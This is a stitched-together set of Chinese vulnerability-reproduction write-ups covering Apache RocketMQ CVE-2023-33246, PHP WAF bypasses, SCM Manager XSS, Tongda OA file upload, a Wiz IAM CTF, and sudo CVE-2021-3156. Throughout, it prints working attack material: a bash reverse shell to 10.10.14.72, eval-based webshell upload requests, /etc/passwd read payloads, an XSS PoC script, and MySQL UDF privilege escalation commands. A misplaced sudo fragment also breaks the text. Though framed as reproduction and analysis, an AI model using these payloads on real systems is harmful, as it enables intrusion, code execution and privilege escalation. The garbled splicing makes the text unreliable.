更新配置⽂件        admin.updateBrokerConfig(targetAddr, props);        Properties brokerConfig = admin.getBrokerConfig(targetAddr);        System.out.println(brokerConfig.getProperty("rocketmqHome"));        System.out.println(brokerConfig.getProperty("filterServerNums"));        // 关闭 DefaultMQAdminExt 对象        admin.shutdown();   } } 反弹结果 git clone https://github.com/SuperZero/CVE-2023-33246.git java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "222 >/root/2.txt" 进入容器,查看根部录下文件是已写入 java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "bash -i >& /dev/tcp/10.10.14.72/65532 0>&1" 反弹shell 漏洞分析 启动broker路由如下: main:50, BrokerStartup (org.apache.rocketmq.broker) start:55, BrokerStartup (org.apache.rocketmq.broker) start:1570, BrokerController (org.apache.rocketmq.broker) startBasicService:1527, BrokerController (org.apache.rocketmq.broker) start:57, FilterServerManager (org.apache.rocketmq.broker.filtersrv) 当在函数org.apache.rocketmq.broker.filtersrv.FilterServerManager61行 调用下面的createFilterServer方法,71行中看到从配置文件中获取参数。72行调用方法buildStartCommand 该方法中取到变量NamesrvAddr和 RocketmqHome,获取之后进行拼接cmd,在72行拿到拼接后的cmd 进入for循环后在org.apache.rocketmq.broker.filtersrv.FilterServerUtil中给的callshell方法去执行命令 该中间件本来就是每30秒执行一次,漏洞产生的就是修改了配置文件,变量被赋值为了恶意命令,导致了命令执行。
利用 PHP 特性绕 WAF 测试
在测试绕过 WAF 执行远程代码之前,首先构造一个简单的、易受攻击的远程代码执行脚本,内容如图: 第 6 行是一个比较明显的命令执行代码,第 3 行尝试拦截 system、exec 或 passthru 等函数(PHP 中有许多其他函数可以执行系统命令,这三个是最常见的)。 这个脚本部署在 Cloudflare WAF 和 ModSecurity + OWASP CRS3 之后。对于第一个测试,尝试读取 passwd 的内容; /cfwaf.php?code=system("cat /etc/passwd"); 可以看到,被 CloudFlare 拦截了,我们可以尝试使用未初始化变量的方式绕过,比如: cat /etc$u/passwd Cloudflare WAF 已被绕过,但是由于脚本检查敏感函数,所以被脚本拦截,那么如何绕过脚本的函数检测呢?我们看看关于字符串的 PHP 文档: https://secure.php.net/manual/en/language.types.string.phpPHP 字符串转义序列: [0–7]{1,3} 八进制表示法的字符序列,它会自动溢出以适应一个字节(例如“\400”===“\000”) \x[0–9A-Fa-f]{1,2} 十六进制字符序列(例如“\x41”) \u{[0–9A-Fa-f]+} Unicode 代码点序列,将作为该代码点的 UTF-8 表示输出到字符串(在 PHP 7.0.0 中添加) 不是每个人都知道 PHP 表示字符串的语法,而“PHP 变量函数”则成为我们绕过过滤器和规则的瑞士军刀。 PHP变量函数 PHP 支持变量函数的概念。这意味着如果变量名后面附加了圆括号,PHP 将寻找与变量求值结果同名的函数,并尝试执行它。除其他事项外,这可用于实现回调、函数表等。 这意味着语法如 $var(args); 和 "sting"(args; 等于 func(args); 。如果我可以通过使用变量或字符串来调用函数,则意味着我可以使用转义序列而不是函数名。这里有一个例子: 第三种语法是十六进制符号的转义字符序列,PHP 将其转换为字符串“system”,然后使用参数“ls”转换为函数系统。让我们尝试使用易受攻击的脚本: 此技术不适用于所有 PHP 函数,变量函数不适用于 echo、print、unset()、isset()、empty()、include、require 。利用包装函数将这些构造中的任何一个用作变量函数。 改进用户输入检测 如果我从易受攻击脚本的用户输入中排除双引号和单引号等字符,会发生什么情况?即使不使用双引号也可以绕过它吗?让我们试试: 正如您在第三行看到的,现在脚本阻止在 $_GET[code] 查询字符串参数中使用“和”。我以前的有效负载现在应该被阻止: 幸运的是,在 PHP 中,我们并不总是需要引号来表示字符串。PHP 使您能够声明元素的类型,例如 $a = (string)foo; 在这种情况下,$a 包含字符串“foo”。此外,圆括号内没有特定类型声明的任何内容都被视为字符串: 在这种情况下,我们有两种方法可以绕过新过滤器:第一种是使用类似 (system)(ls) 的方法;但是我们不能在代码参数中使用“system”,所以我们可以像 (sy.(st).em)(ls); 一样连接字符串。第二种是使用 $GET 变量。如果我发送像 ?a=system&b=ls&code=$GETa 这样的请求;结果是:$GET[a] 将替换为字符串“system”,$GET[b] 将替换为字符串“ls”,我将能够绕过所有过滤器! 让我们尝试使用第一个有效负载 (sy.(st).em)(whoami); 和第二个有效载荷 ? ?a=system&b=cat+/etc&c=/passwd&code=$\_GET[a]($\_GET[b].$\_GET[c]); 在这种情况下,没有用,但您甚至可以在函数名称和参数内部插入注释(这可能有助于绕过阻止特定 PHP 函数名称的 WAF 规则集)。以下所有语法均有效: get_defined_functions 函数 此 PHP 函数返回一个多维数组,其中包含所有已定义函数的列表,包括内置(内部)函数和用户定义函数。内部函数可以通过 $arr[“internal”] 访问,用户定义的函数可以使用 $arr[“user”] 访问。例如: 这可能是另一种无需使用其名称即可访问系统功能的方法。如果我对“系统”进行 grep,我可以发现它的索引号并将其用作我的代码执行的字符串: 显然,这应该对我们的 Cloudflare WAF 和脚本过滤器有效: 字符数组 PHP 中的每个字符串都可以用作字符数组(几乎像 Python 那样),您可以使用语法 $string[2] 或 $string[-3] 引用单个字符串字符。这可能是另一种规避阻止 PHP 函数名称的规则的方法。例如,使用这个字符串 $a=”elmsty/ “; 我可以编写语法系统(“ls /tmp”); 如果幸运的话,您可以在脚本文件名中找到所需的所有字符。使用相同的技术,您可以使用类似的方法选择所需的所有字符 OWASP CRS3 有了 OWASP CRS3,一切都变得更难了。首先,使用之前看到的技术,我只能绕过第一个偏执级别,这太神奇了!因为 Paranoia Level 1 只是我们可以在 CRS3 中找到的规则的一小部分,所以这个级别旨在防止任何误报。对于 2 级偏执狂,由于规则 942430“受限 SQL 字符异常检测(args):超出特殊字符数”,所有事情都变得困难。我能做的只是执行一个不带参数的命令,如“ls”、“whoami”等。但我无法像使用 Cloudflare WAF 那样执行类似 system(“cat /etc/passwd”) 的命令:
SCM Manager XSS漏洞复现(CVE-2023-33829)
一、漏洞描述 漏洞简述 SCM-Manager 是一款开源的版本库管理软件,同时支持 subversion、mercurial、git 的版本库管理。安装简单,功能较强,提供用户、用户组的权限管理 ,有丰富的插件支持。由于在MIT的许可下是开源的,因此它允许被用于商业用途,而且其代码可以在GitHub上获取到。该项目最初只是被用于研究目的,而在其2.0版本之后,被Cloudogu公司接手管理和开发了其各种代码库,以便为各个公司提供专业的企业级支持。 该漏洞主要为攻击者利用其多个功能的描述字段的代码缺陷,构造payload进行XSS攻击。 漏洞影响范围 供应商:Cloudogu 产品:SCM Manager 确认受影响版本:SCM Manager 1.2 <= 1.60 修复版本:>1.60 最新版本为2.43.1 二、漏洞复现实战 环境搭建 docker镜像: https://bitbucket.org/sdorra/docker-scm-manager/src/master/利用shell脚本搭建 shell: #!/bin/bash mkdir /var/lib/scm chown 1000:1000 /var/lib/scm docker run -v /var/lib/scm:/var/lib/scm -p 8080:8080 sdorra/scm-manager 漏洞复现 首先访问SCM Manager,需身份认证 Username : scmadmin Password: scmadmin repositories repository功能下Description字段该漏洞可利用 创建新repository,并payload进行利用 Git类型: Subversion类型: Users User功能下Display Name字段该漏洞可利用 创建新repository,并payload进行利用 可以看到新创建的账号中Display Name属性下显示异常,且XSS payload利用成功 Groups Group功能下Description字段该漏洞可利用 另外可以根据POC进行利用 POC: import requests import argparse import sys # Main menu parser = argparse.ArgumentParser(description='CVE-2023-33829 exploit') parser.add_argument("-u", "--user", help="Admin user or user with write permissions") parser.add_argument("-p", "--password", help="password of the user") args = parser.parse_args() # Credentials user = sys.argv[2] password = sys.argv[4] # Global Variables main_url = "http://localhost:8080/scm" # Change URL if its necessary auth_url = main_url + "/api/rest/authentication/login.json" users = main_url + "/api/rest/users.json" groups = main_url + "/api/rest/groups.json" repos = main_url + "/api/rest/repositories.json" # Create a session session = requests.Session() # Credentials to send post_data={  'username': user, # change if you have any other user with write permissions  'password': password # change if you have any other user with write permissions } r = session.post(auth_url, data=post_data) if r.status_code == 200:  print("[+] Authentication successfully") else:  print("[-] Failed to authenticate")  sys.exit(1) new_user={  "name": "newUser",  "displayName": "<img src=x onerror=alert('XSS')>",  "mail": "",  "password": "",  "admin": False,  "active": True,  "type": "xml" } create_user = session.post(users, json=new_user) print("[+] User with XSS Payload created") new_group={  "name": "newGroup",  "description": "<img src=x onerror=alert('XSS')>",  "type": "xml" } create_group = session.post(groups, json=new_group) print("[+] Group with XSS Payload created") new_repo={  "name": "newRepo",  "type": "svn",  "contact": "",  "description": "<img src=x onerror=alert('XSS')>",  "public": False } create_repo = session.post(repos, json=new_repo) print("[+] Repository with XSS Payload created") 漏洞修复 建议更新至SCM Manager最新版本,目前为2.43.1 结束语 本文主要介绍了CVE-2023-33829 SCM Manager XSS漏洞复现过程,漏洞主要体现于攻击者利用其多个功能的描述字段的代码缺陷,构造payload进行XSS攻击。 本漏洞可参考之处为敏感功能避免重复调用非敏感功能代码,并做好过滤与校验,进行必要的安全测试。
某OA 11.10 未授权任意文件上传
漏洞简介 之前也对通达 oa 做过比较具体的分析和漏洞挖掘,前几天看到通达 oa 11.10 存在未授权任意文件上传漏洞,于是也打算对此进行复现和分析。 环境搭建 https://www.tongda2000.com/download/p2019.php下载地址 :https://cdndown.tongda2000.com/oa/2019/TDOA11.10.exe 查看版本信息 漏洞复现 利用方式一 http://192.168.222.128/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval($_POST[c]))%3B/*&id=19&module=Carouselimage 利用方式二 无法直接写入带有变量的 php 文件 所以首先利用 无参 webshell <?php @eval(next(getallheaders())); GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%e5%27,1%3d%3Efwrite(fopen(%22C:/MYOA/webroot/general/1.php%22,%22w+%22),%22%3C?php%20eval(next(getallheaders()));%22))%3b/*&id=266&module=Carouselimage HTTP/1.1 Host: 192.168.222.128 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 上传成功后再利用第一次生成的恶意文件再生成文件。 GET /general/test.php HTTP/1.1 Host: 192.168.121.147:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: file_put_contents('test1.php','<?php @eval($_REQUEST[1]);'); Content-Length: 28 Upgrade-Insecure-Requests: 1 但是无法直接直接命令,这是因为权限过低的原因 所以想要进一步的操作,就需要提权。 通过查看配置文件看到 mysql 数据库的密码。 利用蚁剑连接数据库。 查看 mysql 的版本。 SqlMap 中集成了对应的提权文件,不过需要先进行解密操作。 udf.dll的是经过编码运算的,所以需要有一个解密脚本,在这个路径下 sqlmap-master\extra\cloak 对应的 dll 文件路径 sqlmap-master\data\udf\mysql\windows\64 执行解码操作 cloak.py -d -i sqlmap-master\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_ 然后将解码好的文件上传到 mysql/lib/plugin/ 路径下 create function sys_eval returns string soname 'lib_mysqludf_sys.dll'; select sys_eval("whoami"); 漏洞分析 general\appbuilder\modules\portal\controllers\GatewayController.php#actionGetdata 首先判断是否存在参数 id 之后根据 module 的值依次执行 GetData与toUTF8方法。 general\appbuilder\modules\portal\models\PortalComponent.php#GetData 根据 id 查询,返回相对对应的数值 $activeTab 的值是从外部获取的。 根据不同的 $module 调用不同的get_data 方法 general\appbuilder\modules\portal\components\AppDesignComponents.php#data_analysis general\appbuilder\modules\appdesign\models\AppUtils.php#toUTF8 这里有一点类似于宽字节注入,利用类型的转换,使得传入的单引号转移后又被编码转换成汉字,最终使得单引号逃逸出来。最后实现命令执行。
)\r\n612: *dst++ = '\\\\';\r\n613:    *dst++ = *src;\r\n614: }\r\n615: *dst++ = ' ';\r\n616:   }\r\n617:    if (cmnd != dst)\r\n618: dst--;  \u002F* replace last space with a NUL *\u002F\r\n619:    *dst = '\\0';\r\n620: \r\n621:    ac += 2; \u002F* -c cmnd *\u002F\r\n622: }\r\n \r\n\r\n这也是为什么set_cmnd函数需要对参数进行转义,因此若先经过parse_args函数进行反转义,后经过set_cmnd函数进行转义,那么sudo是不会出现漏洞情况的\r\n\r\n绕过检验\r\n\r\n那么如何绕过set_cmnd函数直接进入parse_args函数,才是漏洞能够被成功触发的关键因素\r\n\r\n首先是如何才能过进入set_cmnd函数,sudo会经过两重检测\r\n\r\n\r\nsudo_mode需要具有MODE_RUN、MODE_EDIT或者MODE_CHECK的标志位\r\n\r\n\r\nsudo_mode需要具有MODE_SHELL或者MODE_LOGIN_SHELL的标志位\r\n\r\n\r\nFile: plugins\\sudoers\\sudoers.c\r\n ...\r\n819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { \u002F\u002F需要满足标志位的设置才能进入转义的流程\r\n   ...\r\n858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { \u002F\u002F需要满足标志位的设置才能进入转义的流程\r\n想要获得MODE_SHELL的标志位,则需要设置-s参数,此时通过 SET(flags, MODE_SHELL),将flag设置上MODE_SHELL,并且默认的mode是为NULL,因此设置-s参数可以使得flag即设置MODE_SHELL又设置MODE_RUN。\r\nFile: src\\parse_args.c\r\n479: case 's':\r\n480:    sudo_settings[ARG_USER_SHELL].value = \"true\";\r\n481:    SET(flags, MODE_SHELL);\r\n482:    break;\r\n ...\r\n534: if (!mode)\r\n535:    mode = MODE_RUN; \u002F* running a command *\u002F\r\n536:     }\r\n\r\n但是若使用sudo -s,那么就会导致flag即设置MODE_SHELL又设置MODE_RUN,就会进入parse_args函数的流程,该流程会把所有非字母数字的字符前方增加一个'\\',那么就会导致我们无法构造'' + '\\x00'的漏洞字符,因此想要漏洞利用成功,我们不需要程序进入set_cmd函数,但是不能进入parse_args函数\r\n\r\nFile: src\\parse_args.c\r\n592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { \u002F\u002F需要满足标志位的设置才会进入反转义流程\r\n   ...\r\n608:    for (av = argv; *av != NULL; av++) {\r\n609: for (src = *av; *src != '\\0'; src++) {\r\n610:    \u002F* quote potential meta characters *\u002F\r\n611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '
IAM风险CTF挑战赛
wiz启动了一个名为“The Big IAM Challenge”云安全CTF挑战赛。旨在让白帽子识别和利用 IAM错误配置,并从现实场景中学习,从而更好的认识和了解IAM相关的风险。比赛包括6个场景,每个场景都专注于各种AWS服务中常见的IAM配置错误。 Challenge1: Buckets of Fun We all know that public buckets are risky. But can you find the flag? 查看提示获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",   //Effect(效果)设置为Allow(允许)           "Principal": "*",   //Principal(主体)是所有用户("*")           "Action": "s3:GetObject", //获取对象           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*" //指定S3存储桶中的所有对象       },       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:ListBucket",   //列出存储桶           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",             "Condition": {     //条件是通过前缀限制只能列出以"files/"为前缀的对象               "StringLike": {                   "s3:prefix": "files/*"               }           }       }   ] } 该策略允许任何用户列出"thebigiamchallenge-storage-9979f4b"存储桶中符合前缀条件"files/"的对象。该策略存在如下安全风险: 1、允许任何用户对指定的S3存储桶执行GetObject操作以获取对象的内容。 2、允许任何用户对指定的S3存储桶执行ListBucket操作列出存储桶中符合指定前缀条件的对象 解题思路: 针对s3存储桶权限校验不严格,列出桶资源对象并使用查看对象内容获取flag。 1、获取该存储桶中的对象 aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/ 得知files目录下存在flag1.txt文件,将其下载到本地,这里提示Read-only file system(只读文件系统)错误,权限问题,我们将其下载到/tmp目录下: aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt /tmp/flag.txt 另外也可以直接网络访问获取: http://s3.amazonaws.com/thebigiamchallenge-storage-9979f4b/files/flag1.txt 获得flag如下: {wiz:exposed-storage-risky-as-usual} Challenge2: We created our own analytics system specifically for this challenge. We think it's so good that we even used it on this page. What could go wrong? Join our queue and get the secret flag. 查看提示获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": "*",           "Action": [               "sqs:SendMessage",     //发送消息               "sqs:ReceiveMessage" //接收消息           ],           "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"       }   ] } 该IAM策略允许任何用户对特定的SQS队列执行SendMessage和ReceiveMessage操作,即发送和接收消息。该策略存在如下安全风险: 1、该策略将操作权限授予了所有用户("*"),意味着任何具有该策略的用户或角色都可以发送和接收消息。 2、该策略没有限制允许访问的用户、角色或其他条件。它允许所有用户执行SendMessage和ReceiveMessage操作。 解题思路: 针对授予特定SQS队列执行ReceiveMessage操作获取队列消息来查找flag。 1、接受消息队列中的信息 aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 2、获取html文件内容 https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html 获得flag如下: {wiz:you-are-at-the-front-of-the-queue} Challenge3: Enable Push Notifications We got a message for you. Can you get it? 查看提示并获取本关的IAM策略如下: {   "Version": "2008-10-17",   "Id": "Statement1",   "Statement": [       {           "Sid": "Statement1",           "Effect": "Allow",           "Principal": {               "AWS": "*" //允许任何AWS用户           },           "Action": "SNS:Subscribe",       //订阅操作           "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",   //主题ARN           "Condition": {               "StringLike": {                   "sns:Endpoint": "*@tbic.wiz.io" //订阅条件               }           }       }   ] } 该策略允许任何AWS用户对指定的SNS主题(ARN为"arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications")进行订阅操作。订阅条件要求订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。该策略存在如下风险: 全局访问权限:该策略中指定了允许任何AWS用户("*")执行SNS订阅操作。这意味着任何具有有效的AWS凭证的用户都可以订阅该SNS主题。如果此策略不是有意为特定用户或实体设计的,可能存在风险,因为未经授权的用户可以执行订阅操作。 通配符条件:该策略中的条件指定订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。然而,通配符条件可能过于宽松,允许任何以该域名结尾的Endpoint进行订阅,包括未经授权的Endpoint。这可能导致未经授权的实体订阅主题并接收敏感信息或滥用SNS服务。 潜在的信息泄露:由于该策略允许任何人订阅主题,如果主题包含敏感信息或重要通知,可能会导致信息泄露的风险。攻击者可以订阅主题并接收敏感信息,甚至利用该信息进行其他恶意行为。 解题思路: 1、订阅SNS主题 在订阅时由于调阅条件的限制,先尝试将订阅消息发送到email邮箱账号,但是由于我们没有以@tbic.wiz.io为后缀的邮箱账号,因此需要对此处进行绕过。 AWS用户可以使用SNS:Subscribe操作订阅指定的SNS主题: aws sns subscribe --topic-arn <主题ARN> --protocol <协议> --notification-endpoint <订阅者Endpoint> <主题ARN>为实际的SNS主题ARN。所使用的协议有HTTP、HTTPS、Email、SMS等,订阅者的Endpoint具体根据策略中的条件要求。 对该题目设置SNS订阅: aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol email --notification-endpoint research@tbic.wiz.io 2、订阅条件限制绕过 尝试使用http协议进行代理监听的方式获取订阅消息: aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol http --notification-endpoint http://43.155.79.163:8443/@tbic.wiz.io 接收到来自sns的订阅确认,消息提示点击SubscribeURL确认订阅消息,等待一会即可接收到附带flag的订阅消息: 获取到flag如下: {wiz:always-suspect-asterisks} Challenge4: Admin only? We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it? 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:GetObject",           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"       },       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:ListBucket",           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",           "Condition": {               "StringLike": {                   "s3:prefix": "files/*"               },               "ForAllValues:StringLike": {                   "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"               }           }       }   ] } 该策略用于定义对 Amazon S3 存储桶的访问权限。其中包含了两个声明(Statement): 1、声明一允许任何用户存储桶执行GetObject操作,访问thebigiamchallenge-admin-storage-abf1321的s3储存桶资源。 2、声明二允许任何用户对S3存储桶执行ListBucket操作,列出存储桶中的对象。该声明有一个约束条件限制请求中的后缀必须以"files/" 开头,并且访问资源的主体是arn:aws:iam::133713371337:user/admin。 解题思路: 看到声明二中限制的访问资源主体是arn:aws:iam::133713371337:user/admin,便想着如何获取到该用户的凭据,然而在目前的环境中翻遍了各种配置文件和脚本文件都未发现相关凭据泄露,且当下凭据不能用于该访问主体。随后转变思路利用GetObject操作无限制进行目录Fuzz,Fuzz出如下路径: /thebigiamchallenge-admin-storage-abf1321/files/   /thebigiamchallenge-admin-storage-abf1321/files/cache/ /thebigiamchallenge-admin-storage-abf1321/files/tmp/ https://s3.amazonaws.com/thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt 然后再深一次Fuzz,仍无flag相关结果,最终经瑞幸楼少提醒,发现了如下参数的妙用: --no-sign-request 该参数可以用来执行无需身份验证的请求。使用该参数可以跳过对请求进行签名和身份验证的步骤,从而可以在某些情况下执行不需要验证的操作。 aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt /tmp/flag4.txt 获得flag如下: {wiz:principal-arn-is-not-what-you-think} Challenge5: Do I know you? We configured AWS Cognito as our main identity provider. Let's hope we didn't make any mistakes. 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Sid": "VisualEditor0",           "Effect": "Allow",           "Action": [               "mobileanalytics:PutEvents",               "cognito-sync:*"           ],           "Resource": "*"       },       {           "Sid": "VisualEditor1",           "Effect": "Allow",           "Action": [               "s3:GetObject",               "s3:ListBucket"           ],           "Resource": [               "arn:aws:s3:::wiz-privatefiles",               "arn:aws:s3:::wiz-privatefiles/*"           ]       }   ] } https://wiz-privatefiles.s3.amazonaws.com/ https://s3.amazonaws.com/wiz-privatefiles/ https://wiz-privatefiles.s3.amazonaws.com/soap/ 如上策略有两个声明,VisualEditor0声明允许向MobileAnalytics服务发送事件数据以及对Cognito Sync服务执行任何操作,且对这两个服务中的所有资源都可以操作。VisualEditor1声明允许执行GetObject和ListBucket两个操作,来获取wiz-privatefiles存储桶中的对象并列出存储桶中的内容。 解题思路: 根据题目提示得知AWS Cognito服务为主要身份提供商,问题大概率出现在此处,通过搜索AWS Cognito配置错误看到一篇文章: https://www.wangan.com/p/7fy7f8abba5c0234       //通过错误配置的AWS Cognito接管AWS帐户 结合该思路我们首先需要获取到该AWS Cognito服务的identity_pool_id: 梳理下常见的获取identity_pool_id方法: 1、通过应用程序代码查找使用Cognito的部分,并寻找可能存在identity_pool_id的位置,通常在一些JS文件或者接口中可能存在。 2、通过监控分析网络流量分析捕获应用程序与Cognito之间的通信。在捕获的网络流量中,搜索包含 identity_pool_id 的请求或响应。 3、通过搜寻查找一些配置文件或环境变量及启动脚本等获取Cognito相关的配置信息。 4、通过分析应用程序日志,查找 identity_pool_id 的信息。有时日志文件会记录与身份池相关的操作或配置。 5、通过aws控制台或CLI命令行获取identity_pool_id,前提是需要有一定权限。 结合文章思路在前端页面获取到IdentityPoolId: AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"}); 获取到identity_pool_id通过脚本再获取AK密钥进行配置: 由于当前云终端权限限制的问题,改用本地进行配置及后续操作: aws configure aws configure set aws_access_key_id aws configure set aws_secret_access_key aws configure set aws_session_token "" 获取到Flag如下: {wiz:incognito-is-always-suspicious} Challenge6: One final push Anonymous access no more. Let's see what can you do now. Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": {               "Federated": "cognito-identity.amazonaws.com"           },           "Action": "sts:AssumeRoleWithWebIdentity",               "Condition": {               "StringEquals": {                   "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"               }           }       }   ] } 该策略用于定义IAM角色的信任关系,当cognito-identity身份服务进行Web身份验证时,可以使用STS的AssumeRoleWithWebIdentity操作请求临时凭证进行验证身份。此操作将验证来自cognito-identity身份服务的用户身份,并根据策略规定的条件和权限,为该用户生成一组临时凭证。这些临时凭证具有一定的时效性,可用于对 AWS 资源进行访问。 解题思路: 题目中提示不再有匿名访问且需要使用身份aws:iam::092297851374:role/Cognito_s3accessAuth_Role进行操作,策略信息也指明了cognito-identity验证中的aud必须是identity_pool_id为us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b。思路如下: 1、获取身份标识符identity-id aws cognito-identity get-id --identity-pool-id "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b" 2、获取对应身份标识的令牌token aws cognito-identity get-open-id-token --identity-id 获取到的identity-id 3、使用获取到的身份验证令牌指定目标角色来获取临时访问凭证 aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name 自定义session名称 --web-identity-token 获取到的token令牌 4、根据获取到的AK密钥配置并获取flag aws s3 ls aws s3 ls s3://wiz-privatefiles-x1000 aws s3 cp s3://wiz-privatefiles-x1000/flag2.txt - 获取到flag如下: {wiz:open-sesame-or-shell-i-say-openid}
Sudo堆溢出漏洞(CVE-2021-3156)复现
背景介绍 2021 年 1 月 26 日,Qualys Research Labs在 sudo 发现了一个缺陷。sudo 解析命令行参数的方式时,错误的判断了截断符,从而导致攻击者可以恶意构造载荷,使得sudo发生堆溢出,该漏洞在配合环境变量等分配堆以及释放堆的原语下,可以致使本地提权。 环境搭建 环境版本 • ubuntu 20.04 • sudo-1.8.31p2 采用下述命令进行编译安装 cd ./sudo-SUDO_1_8_31p2 mkdir build ./configure --prefix=/home/pwn/sudo CFLAGS=”-O0 -g" make && make install 漏洞验证 #poc ./sudoedit -s '\' 11111111111111111111111111111111111111111111111111111111111111111111 执行上述POC执行sudoedit会出现malloc():invalid size的字样,这是典型的堆溢出后导致的异常。 漏洞分析 源码分析 set_cmnd函数 File: plugins\sudoers\sudoers.c 800: static int 801: set_cmnd(void) 802: {   ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 845: 846: /* set user_args */ 847: if (NewArgc > 1) { 848:    char *to, *from, **av; 849:    size_t size, n; 850: 851:    /* Alloc and build up user_args. */ 852:    for (size = 0, av = NewArgv + 1; *av; av++) //遍历每一个参数 853: size += strlen(*av) + 1; //计算每一个参数的长度 854:    if (size == 0 || (user_args = malloc(size)) == NULL) { //通过malloc动态分配一段内存,用于存放参数内容 855: sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 856: debug_return_int(-1); 857:   } 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 859: /* 860: * When running a command via a shell, the sudo front-end 861: * escapes potential meta chars. We unescape non-spaces 862: * for sudoers matching and logging purposes. 863: */ 864: for (to = user_args, av = NewArgv + 1; (from = *av); av++) { //遍历每个环境变量,并将内容拷贝到内存中 865:    while (*from) {   /*   漏洞点,当扫描参数内容时,遇到\需要进行转义处理,例如'\t'、'\n'等,因此sudo只判断\后是否跟随着空格字符,即用isspace函数进行判 断。   isspace包括的字符如下:   ' '     (0x20)   space (SPC) 空格符 '\t'   (0x09)   horizontal tab (TAB) 水平制表符     '\n'   (0x0a)   newline (LF) 换行符 '\v'   (0x0b)   vertical tab (VT) 垂直制表符 '\f'   (0x0c)   feed (FF) 换页符 '\r'   (0x0d)   carriage return (CR) 回车符 以上不包括'\0'。 而参数之间是使用'\0'作为分隔符的,因此当'\\'后跟随的'\0'会使得from++从而导致将后一个参数也被拷贝进来,最后致使堆块溢出。   */ 866: if (from[0] == '\\' && !isspace((unsigned char)from[1])) 867:    from++; 868: *to++ = *from++; 869:   } 870:    *to++ = ' '; 871: } 872: *--to = '\0'; 使用POC的例子对漏洞进行说明 漏洞原理图 因此漏洞点在于在进入set_cmnd函数时需要对转义字符进行转义,但是函数却没有判断转义字符作为参数末尾的情况,即\ + \x00 parse_args函数 parse_args函数用于反转义,即参数中若存在转义字符,会在每个转义字符之前增加一个\ File: src\parse_args.c 592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程 593: char **av, *cmnd = NULL; 594: int ac = 1; 595: 596: if (argc != 0) { 597:    /* shell -c "command" */ 598:    char *src, *dst; 599:    size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) + 600: strlen(argv[argc - 1]) + 1; 601: 602:    cmnd = dst = reallocarray(NULL, cmnd_size, 2); 